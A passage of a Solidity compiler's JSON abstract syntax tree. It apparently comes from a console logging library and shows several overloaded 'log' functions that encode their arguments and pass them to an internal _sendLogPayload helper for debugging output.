memory)"}},"id":31121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63492:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31113,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"63476:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63476:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31123,"nodeType":"ExpressionStatement","src":"63476:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63394:3:15","parameters":{"id":31111,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31104,"mutability":"mutable","name":"p0","nameLocation":"63406:2:15","nodeType":"VariableDeclaration","scope":31125,"src":"63398:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31103,"name":"address","nodeType":"ElementaryTypeName","src":"63398:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31106,"mutability":"mutable","name":"p1","nameLocation":"63424:2:15","nodeType":"VariableDeclaration","scope":31125,"src":"63410:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31105,"name":"string","nodeType":"ElementaryTypeName","src":"63410:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31108,"mutability":"mutable","name":"p2","nameLocation":"63436:2:15","nodeType":"VariableDeclaration","scope":31125,"src":"63428:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31107,"name":"address","nodeType":"ElementaryTypeName","src":"63428:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31110,"mutability":"mutable","name":"p3","nameLocation":"63448:2:15","nodeType":"VariableDeclaration","scope":31125,"src":"63440:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31109,"name":"address","nodeType":"ElementaryTypeName","src":"63440:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"63397:54:15"},"returnParameters":{"id":31112,"nodeType":"ParameterList","parameters":[],"src":"63466:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31148,"nodeType":"FunctionDefinition","src":"63584:182:15","nodes":[],"body":{"id":31147,"nodeType":"Block","src":"63656:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e743235362c75696e7432353629","id":31139,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63706:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_386ff5f4530ea008cf639214e5b8a55077ec58314989bc72a4ee1f3ffe9617a4","typeString":"literal_string \"log(address,bool,uint256,uint256)\""},"value":"log(address,bool,uint256,uint256)"},{"id":31140,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31127,"src":"63743:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31141,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31129,"src":"63747:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31142,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31131,"src":"63751:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31143,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31133,"src":"63755:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_386ff5f4530ea008cf639214e5b8a55077ec58314989bc72a4ee1f3ffe9617a4","typeString":"literal_string \"log(address,bool,uint256,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31137,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63682:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31138,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63686:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63682:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63682:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31136,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"63666:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63666:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31146,"nodeType":"ExpressionStatement","src":"63666:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63593:3:15","parameters":{"id":31134,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31127,"mutability":"mutable","name":"p0","nameLocation":"63605:2:15","nodeType":"VariableDeclaration","scope":31148,"src":"63597:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31126,"name":"address","nodeType":"ElementaryTypeName","src":"63597:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31129,"mutability":"mutable","name":"p1","nameLocation":"63614:2:15","nodeType":"VariableDeclaration","scope":31148,"src":"63609:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31128,"name":"bool","nodeType":"ElementaryTypeName","src":"63609:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31131,"mutability":"mutable","name":"p2","nameLocation":"63626:2:15","nodeType":"VariableDeclaration","scope":31148,"src":"63618:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31130,"name":"uint256","nodeType":"ElementaryTypeName","src":"63618:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31133,"mutability":"mutable","name":"p3","nameLocation":"63638:2:15","nodeType":"VariableDeclaration","scope":31148,"src":"63630:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31132,"name":"uint256","nodeType":"ElementaryTypeName","src":"63630:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"63596:45:15"},"returnParameters":{"id":31135,"nodeType":"ParameterList","parameters":[],"src":"63656:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31171,"nodeType":"FunctionDefinition","src":"63772:187:15","nodes":[],"body":{"id":31170,"nodeType":"Block","src":"63850:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e743235362c737472696e6729","id":31162,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63900:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0aa6cfad2c268cd387390ada6d4a75b3aa3e38d6511517eb59fcd07a90f9c283","typeString":"literal_string \"log(address,bool,uint256,string)\""},"value":"log(address,bool,uint256,string)"},{"id":31163,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31150,"src":"63936:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31164,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31152,"src":"63940:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31165,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31154,"src":"63944:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31166,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31156,"src":"63948:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0aa6cfad2c268cd387390ada6d4a75b3aa3e38d6511517eb59fcd07a90f9c283","typeString":"literal_string \"log(address,bool,uint256,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31160,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63876:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31161,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63880:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63876:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63876:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31159,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"63860:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31168,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63860:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31169,"nodeType":"ExpressionStatement","src":"63860:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63781:3:15","parameters":{"id":31157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31150,"mutability":"mutable","name":"p0","nameLocation":"63793:2:15","nodeType":"VariableDeclaration","scope":31171,"src":"63785:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31149,"name":"address","nodeType":"ElementaryTypeName","src":"63785:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31152,"mutability":"mutable","name":"p1","nameLocation":"63802:2:15","nodeType":"VariableDeclaration","scope":31171,"src":"63797:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31151,"name":"bool","nodeType":"ElementaryTypeName","src":"63797:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31154,"mutability":"mutable","name":"p2","nameLocation":"63814:2:15","nodeType":"VariableDeclaration","scope":31171,"src":"63806:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31153,"name":"uint256","nodeType":"ElementaryTypeName","src":"63806:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31156,"mutability":"mutable","name":"p3","nameLocation":"63832:2:15","nodeType":"VariableDeclaration","scope":31171,"src":"63818:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31155,"name":"string","nodeType":"ElementaryTypeName","src":"63818:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63784:51:15"},"returnParameters":{"id":31158,"nodeType":"ParameterList","parameters":[],"src":"63850:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31194,"nodeType":"FunctionDefinition","src":"63965:176:15","nodes":[],"body":{"id":31193,"nodeType":"Block","src":"64034:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e743235362c626f6f6c29","id":31185,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64084:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c4643e20494ddb98fe78bc587bcecbcc7db255edcee8232992e8be9b00c4713c","typeString":"literal_string \"log(address,bool,uint256,bool)\""},"value":"log(address,bool,uint256,bool)"},{"id":31186,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31173,"src":"64118:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31187,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31175,"src":"64122:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31188,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31177,"src":"64126:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31189,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31179,"src":"64130:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c4643e20494ddb98fe78bc587bcecbcc7db255edcee8232992e8be9b00c4713c","typeString":"literal_string \"log(address,bool,uint256,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31183,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64060:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31184,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64064:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64060:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64060:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31182,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"64044:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31191,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64044:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31192,"nodeType":"ExpressionStatement","src":"64044:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63974:3:15","parameters":{"id":31180,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31173,"mutability":"mutable","name":"p0","nameLocation":"63986:2:15","nodeType":"VariableDeclaration","scope":31194,"src":"63978:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31172,"name":"address","nodeType":"ElementaryTypeName","src":"63978:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31175,"mutability":"mutable","name":"p1","nameLocation":"63995:2:15","nodeType":"VariableDeclaration","scope":31194,"src":"63990:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31174,"name":"bool","nodeType":"ElementaryTypeName","src":"63990:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31177,"mutability":"mutable","name":"p2","nameLocation":"64007:2:15","nodeType":"VariableDeclaration","scope":31194,"src":"63999:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31176,"name":"uint256","nodeType":"ElementaryTypeName","src":"63999:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31179,"mutability":"mutable","name":"p3","nameLocation":"64016:2:15","nodeType":"VariableDeclaration","scope":31194,"src":"64011:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31178,"name":"bool","nodeType":"ElementaryTypeName","src":"64011:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63977:42:15"},"returnParameters":{"id":31181,"nodeType":"ParameterList","parameters":[],"src":"64034:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31217,"nodeType":"FunctionDefinition","src":"64147:182:15","nodes":[],"body":{"id":31216,"nodeType":"Block","src":"64219:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e743235362c6164647265737329","id":31208,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64269:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ccf790a175b1b762ef5bfd3564f0b74c078f15eca08b8ee654a38a96a5ad2aee","typeString":"literal_string \"log(address,bool,uint256,address)\""},"value":"log(address,bool,uint256,address)"},{"id":31209,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31196,"src":"64306:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31210,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31198,"src":"64310:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31211,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31200,"src":"64314:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31212,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31202,"src":"64318:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ccf790a175b1b762ef5bfd3564f0b74c078f15eca08b8ee654a38a96a5ad2aee","typeString":"literal_string \"log(address,bool,uint256,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31206,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64245:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31207,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64249:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64245:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64245:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31205,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"64229:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31214,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64229:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31215,"nodeType":"ExpressionStatement","src":"64229:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64156:3:15","parameters":{"id":31203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31196,"mutability":"mutable","name":"p0","nameLocation":"64168:2:15","nodeType":"VariableDeclaration","scope":31217,"src":"64160:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31195,"name":"address","nodeType":"ElementaryTypeName","src":"64160:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31198,"mutability":"mutable","name":"p1","nameLocation":"64177:2:15","nodeType":"VariableDeclaration","scope":31217,"src":"64172:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31197,"name":"bool","nodeType":"ElementaryTypeName","src":"64172:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31200,"mutability":"mutable","name":"p2","nameLocation":"64189:2:15","nodeType":"VariableDeclaration","scope":31217,"src":"64181:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31199,"name":"uint256","nodeType":"ElementaryTypeName","src":"64181:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31202,"mutability":"mutable","name":"p3","nameLocation":"64201:2:15","nodeType":"VariableDeclaration","scope":31217,"src":"64193:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31201,"name":"address","nodeType":"ElementaryTypeName","src":"64193:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"64159:45:15"},"returnParameters":{"id":31204,"nodeType":"ParameterList","parameters":[],"src":"64219:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31240,"nodeType":"FunctionDefinition","src":"64335:187:15","nodes":[],"body":{"id":31239,"nodeType":"Block","src":"64413:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c75696e7432353629","id":31231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64463:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_80e6a20b48643c1f2494eae694f173a69e42da349d0e193e48fece80e869df69","typeString":"literal_string \"log(address,bool,string,uint256)\""},"value":"log(address,bool,string,uint256)"},{"id":31232,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31219,"src":"64499:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31233,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31221,"src":"64503:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31234,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31223,"src":"64507:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31235,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31225,"src":"64511:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_80e6a20b48643c1f2494eae694f173a69e42da349d0e193e48fece80e869df69","typeString":"literal_string \"log(address,bool,string,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31229,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64439:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31230,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64443:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64439:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64439:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31228,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"64423:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64423:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31238,"nodeType":"ExpressionStatement","src":"64423:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64344:3:15","parameters":{"id":31226,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31219,"mutability":"mutable","name":"p0","nameLocation":"64356:2:15","nodeType":"VariableDeclaration","scope":31240,"src":"64348:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31218,"name":"address","nodeType":"ElementaryTypeName","src":"64348:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31221,"mutability":"mutable","name":"p1","nameLocation":"64365:2:15","nodeType":"VariableDeclaration","scope":31240,"src":"64360:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31220,"name":"bool","nodeType":"ElementaryTypeName","src":"64360:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31223,"mutability":"mutable","name":"p2","nameLocation":"64383:2:15","nodeType":"VariableDeclaration","scope":31240,"src":"64369:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31222,"name":"string","nodeType":"ElementaryTypeName","src":"64369:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31225,"mutability":"mutable","name":"p3","nameLocation":"64395:2:15","nodeType":"VariableDeclaration","scope":31240,"src":"64387:10